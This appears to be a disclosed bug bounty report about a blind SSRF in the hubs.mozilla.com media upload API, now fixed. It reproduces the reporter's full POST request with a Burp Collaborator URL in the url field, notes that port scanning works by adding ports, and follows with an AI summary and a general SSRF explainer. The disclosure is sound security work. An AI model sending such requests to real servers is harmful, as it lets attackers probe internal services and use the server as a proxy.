Blind SSRF/XSPA on https://hubs.mozilla.com/
The media upload endpoint accepted a user-supplied URL and fetched it server-side, allowing an attacker to make the Mozilla server send requests to arbitrary hosts. This could be used to probe internal services or use the server as an attack proxy.
Originally disclosed on Mozilla
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 5 months
Hi guys ,
i have found a blind ssrf on https://hubs.mozilla.com/
this is the request
POST /api/v1/media HTTP/2
Host: hubs.mozilla.com
Content-Length: 72
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://hubs.mozilla.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://hubs.mozilla.com/fBtypbN/quirky-fruitful-realm/media/avatars?filter=featured&media_nav=false&selectAction=use
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr-FR;q=0.8,fr;q=0.7,ar;q=0.6
Connection: close
{"media":{"url":"https://thevmtjf68aubekmkpp2w1xjjap1dq.burpcollaborator.net/1.png,"quality":"high"},"version":1}
url parameter is vulnerable
move this request to bur suite to repeater
if you have burp collaborator tools generate the payload and put the it into URL and
you will notice the burpsuite greeting the request from the Mozilla server
also we can do port scanning by adding :port_numbers
The ability to send requests to other systems can allow the vulnerable server to be used as an attack proxy. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services that are not otherwise accessible to external attackers.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not validate or restrict the URL supplied in the media upload request before fetching it server-side.
Impact
An attacker could use the server to send requests to internal or third-party systems, potentially exposing vulnerable internal services, though the report does not demonstrate data exfiltration.
What the attacker needed
Ability to send HTTP requests to the media endpoint
How it was found
- Send a POST request to the media API endpoint with a JSON body containing a media URL.
- Replace the media URL with a Burp Collaborator address.
- Observe the Collaborator server receiving a request from the Mozilla server.
- Optionally add a port number to the URL to perform port scanning.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A blind SSRF (Server-Side Request Forgery) happens when a website takes a web address from you and fetches it on its own server, without checking where it points. An attacker can give it an address only the server can reach, like an internal service, and the server will make the request for them. The attacker does not see the response directly, but can still learn things from timing or out-of-band callbacks.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.